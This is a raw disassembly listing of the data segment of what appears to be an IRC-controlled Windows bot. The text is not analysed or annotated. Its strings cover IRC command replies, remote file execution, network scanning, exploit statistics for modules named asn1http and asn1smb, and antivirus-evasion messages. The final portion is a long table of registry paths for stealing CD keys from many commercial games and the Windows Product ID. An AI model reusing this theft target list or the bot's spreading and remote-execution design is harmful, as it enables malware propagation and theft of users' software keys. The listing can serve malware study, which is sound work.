<*>,0 asc_423020: ; DATA XREF: seg000:004046A3o ; sub_404858+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: seg000:00404692o ; sub_404858+4CAo ... align 4 aS_1 db '%s',0 ; DATA XREF: seg000:004045E2o ; sub_408AC9+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: seg000:004045D7o aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_404858+64Eo align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_404858+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_404858+589o align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_404858+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_404858:loc_404D70o align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_404858+511o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_404858+471o align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_404858+434o align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_404858+401o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_404858:loc_404C1Ao align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_404858+3BBo align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_404858+374o align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+330o ; sub_404858+486o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_404858+30Eo align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_404858+2E4o ; sub_404858+413o align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_404858+2BAo aAm db 'AM',0 ; DATA XREF: sub_404858+290o align 4 aPm db 'PM',0 ; DATA XREF: sub_404858+285o align 4 a__0: ; DATA XREF: sub_404858+24Do unicode 0, <.>,0 a__ db '..',0 ; DATA XREF: sub_404858+232o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+1C0o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+147o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+12Bo db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_404858+F7o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_404858+ADo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 10h aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_404858+78o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 10h aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_404858+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_404FC5+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_4234D8 dd 4000500h, 7868746Bh, 0dword_4234E4 dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh ; DATA XREF: seg000:00405565o dd 2029206Ch, 2BBBB02h aFileSentToSExe db ' File sent to %s, executing %s on remote machine.',0 align 4 unk_423534 db 2 ; DATA XREF: seg000:0040549Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundOn db ' File not found on %s, (%s).',0 align 10h dword_423570 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: seg000:0040547Fo unk_423584 db 2 ; DATA XREF: seg000:00405424o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFileSentToSE_0 db 'File sent to %s, executing %s on remote machine.',0 align 4 unk_4235D8 db 2 ; DATA XREF: seg000:00405240o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToOpenFi db 'Failed to open file: %s (possible virus scan!)',0 align 4 unk_423628 db 2 ; DATA XREF: seg000:00405150o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aErrorSocketF_2 db 'Error: socket() failed, returned: <%d>.',0 aOctet db 'octet',0 ; DATA XREF: seg000:004050F5o align 4 aAsn1http_0 db 'asn1http',0 ; DATA XREF: sub_405C33+164o align 2 aAsn1http db 'asn1http',0 ; DATA XREF: sub_4032B0+1C8o align 4 dd 5 dup(0) dword_4236A0 dd 50h ; seg000:0040E2E2r ... off_4236A4 dd offset sub_4032B0 ; DATA XREF: sub_405C33+1E6r dword_4236A8 dd 0 ; sub_4032B0+202r ... dword_4236AC dd 1 dword_4236B0 dd 1 aAsn1smb db 'asn1smb',0 dd 73610000h, 6D73316Eh, 62h, 5 dup(0) dd 1BDh, 4032B0h, 0 dd 2 dup(1), 316E7361h, 3933h, 73610000h, 6D73316Eh, 746E62h dd 5 dup(0) dd 8Bh, 4032B0h, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 db 2 dup(0) byte_42373A db 1 ; DATA XREF: seg000:loc_40FE5Er ; seg000:0040FE68o aAsn1http_1 db 'asn1http',0 dd 100h, 3 dup(0) aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_4055DD+81o align 4 aSD db ' %s: %d,',0 ; DATA XREF: sub_4055DD+42o align 4 unk_423774 db 2 ; DATA XREF: sub_4055DD+11o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aExploitStatist db ' Exploit Statistics:',0 align 4 unk_4237AC db 2 ; DATA XREF: sub_4056A7+42o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanNotActive_ db ' Scan not active.',0 unk_4237E0 db 2 ; DATA XREF: sub_4056A7+2Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCurrentIpS_ db ' Current IP: %s.',0 align 4 unk_423814 db 2 ; DATA XREF: sub_40571E+36Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStartS db 'Failed to start server, error: <%d>.',0 align 4 dword_42385C dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h ; DATA XREF: sub_40571E+307o ; seg000:00410398o dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 6C207265h dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch dd 2BBBB02h, 61462020h, 64656C69h, 206F7420h, 72617473h dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h dd 2E3Eh, 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh dd 2029206Ch, 2BBBB02h, 65532020h, 72657672h, 61747320h dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h dd 0 db 2 db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_0 db 'Failed to start server, error: <%d>.',0 align 4 unk_42398C db 2 ; DATA XREF: seg000:00410222o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 74h ; t db 66h, 74h, 70h db 64h ; d db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aServerStartedO db 'Server started on Port: %d, File: %s, Request: %s.',0 align 10h aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_405AFA+38o ; sub_408619+46o unk_4239EC db 2 ; DATA XREF: sub_405C33+EBo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOpen db ' IP: %s, Port %d is open.',0 unk_423A28 db 2 ; DATA XREF: sub_405C33+93o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSDScanThread db ' IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_423A78 db 2 ; DATA XREF: sub_405E47+1CEo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedAtSDAf db ' Finished at %s:%d after %d minute(s) of scanning.',0 align 10h unk_423AD0 db 2 ; DATA XREF: sub_405E47+173o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_1 db ' Failed to start worker thread, error: <%d>.',0 align 10h unk_423B20 db 2 ; DATA XREF: sub_405E47+103o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSDScanThreadDS db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0 align 4 unk_423B6C db 2 ; DATA XREF: sub_405E47+87o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToInitia db ' Failed to initialize critical section.',0 align 4 unk_423BB8 db 2 ; DATA XREF: sub_4060A6+156o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartC db ' Failed to start client thread, error: <%d>.',0 align 4 unk_423C08 db 2 ; DATA XREF: sub_4060A6+E1o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnecti db ' Client connection from IP: %s:%d, Server thread: %d.',0 unk_423C60 db 2 ; DATA XREF: seg000:004063D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_2 db ' Failed to start connection thread, error: <%d>.',0 align 4 unk_423CB4 db 2 ; DATA XREF: seg000:0040630Fo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientConnec_0 db ' Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_423D0C db 2 ; DATA XREF: seg000:00406664o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_3 db 'Failed to start server on Port %d.',0 align 10h unk_423D50 db 2 ; DATA XREF: seg000:00406641o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_4 db 'Failed to start client thread, error: <%d>.',0 unk_423D9C db 2 ; DATA XREF: seg000:004065C6o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 6Fh, 63h, 6Bh db 73h ; s db 2Eh, 6Dh, 1Fh db 64h ; d db 1Fh, 6Ch, 20h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aClientConnec_1 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 dword_423DF4 dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h ; DATA XREF: seg000:0040655Ao ; seg000:00410BDBo dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h, 73207265h dd 74726174h, 6F206465h, 25203A6Eh, 64253A73h, 2Eh, 28026502h dd 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h, 206C1F64h dd 0BB022029h, 202002BBh, 6F727245h, 46203A72h, 656C6961h dd 6F742064h, 6E6F6320h, 7463656Eh, 206F7420h, 67726174h dd 202C7465h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 46203A72h dd 656C6961h, 6F742064h, 65706F20h, 6F73206Eh, 74656B63h dd 202C2928h, 75746572h, 64656E72h, 253C203Ah, 2E3E64h dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h, 69746E65h dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h dd 0 dd 80000001h off_423F2C dd offset aSoftwareValveC ; DATA XREF: sub_406A7B+Cr ; sub_406A7B+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_423F38 dd 2 dup(0) dd 80000001h, 4250C0h, 4250B4h, 4250A4h, 2 dup(0) dd 80000001h, 425084h, 425080h, 42506Ch, 2 dup(0) dd 80000001h, 425048h, 425080h, 42503Ch, 2 dup(0) dd 80000001h, 425018h, 425010h, 424FFCh, 2 dup(0) dd 80000001h, 424FE8h, 424FD8h, 424FBCh, 2 dup(0) dd 80000001h, 424F78h, 425100h, 424F64h, 2 dup(0) dd 80000002h, 424F38h, 424F2Ch, 424F0Ch, 2 dup(0) dd 80000002h, 424ED8h, 425100h, 424EC0h, 2 dup(0) dd 80000002h, 424E8Ch, 425100h, 424E74h, 2 dup(0) dd 80000002h, 424E5Ch, 425100h, 424E44h, 2 dup(0) dd 80000002h, 424E08h, 42E348h, 424DF8h, 2 dup(0) dd 80000002h, 424DC0h, 42E348h, 424DACh, 2 dup(0) dd 80000002h, 424D60h, 42E348h, 424D40h, 2 dup(0) dd 80000002h, 424CF0h, 42E348h, 424CC4h, 2 dup(0) dd 80000002h, 424C88h, 42E348h, 424C74h, 2 dup(0) dd 80000002h, 424C3Ch, 42E348h, 424C2Ch, 2 dup(0) dd 80000002h, 424BDCh, 42E348h, 424BB0h, 2 dup(0) dd 80000002h, 424B70h, 42E348h, 424B54h, 2 dup(0) dd 80000002h, 424B24h, 42E348h, 424B04h, 2 dup(0) dd 80000002h, 424AC8h, 42E348h, 424AB4h, 2 dup(0) dd 80000002h, 424A6Ch, 42E348h, 424A4Ch, 2 dup(0) dd 80000002h, 4249F8h, 42E348h, 4249C8h, 2 dup(0) dd 80000002h, 424978h, 42E348h, 42494Ch, 2 dup(0) dd 80000002h, 42490Ch, 424904h, 4248E4h, 2 dup(0) dd 80000002h, 4248A0h, 42E348h, 424884h, 2 dup(0) dd 80000002h, 424838h, 42E348h, 424814h, 2 dup(0) dd 80000002h, 4247E0h, 42E348h, 4247D4h, 2 dup(0) dd 80000002h, 4247A0h, 42E348h, 424794h, 2 dup(0) dd 80000002h, 424760h, 42E348h, 424754h, 2 dup(0) dd 80000002h, 424720h, 42E348h, 424714h, 2 dup(0) dd 80000002h, 4246D8h, 42E348h, 4246C4h, 2 dup(0) dd 80000002h, 424688h, 42E348h, 424674h, 2 dup(0) dd 80000002h, 424644h, 425100h, 424628h, 2 dup(0) dd 80000002h, 424608h, 424600h, 4245DCh, 2 dup(0) dd 80000002h, 4245C0h, 424600h, 4245A0h, 2 dup(0) dd 80000002h, 424580h, 424600h, 42455Ch, 2 dup(0) dd 80000002h, 424544h, 424600h, 424540h, 2 dup(0) dd 80000002h, 424524h, 424514h, 42450Ch, 2 dup(0) dd 80000002h, 4244D8h, 4244D4h, 4244BCh, 2 dup(0) dd 80000002h, 424480h, 424474h, 42444Ch, 42443Ch, 424428h dd 80000002h, 424404h, 4243F8h, 4243E4h, 4243D4h, 4243CCh dd 80000002h, 424404h, 4243F8h, 4243A0h, 4243D4h, 424398h dd 80000002h, 424404h, 4243F8h, 424368h, 4243D4h, 424360h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aKey db 'key',0 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 10h aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 10h db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 10h aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 10h db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 10h aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 10h db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 10h db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 10h db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 10h db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 4 db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 10h db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 10h db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 10h aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 4 aBattlefield1_1 db 'Battlefield 1942',0 align 10h db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 4 db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 4 db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 10h aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 4 aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 4 aProductid db 'ProductId',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 4 aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 10h aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 4 aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 4 aGunmanChronicl db 'Gunman Chronicles',0 align 10h aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 10h aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00423F34o aCdkey 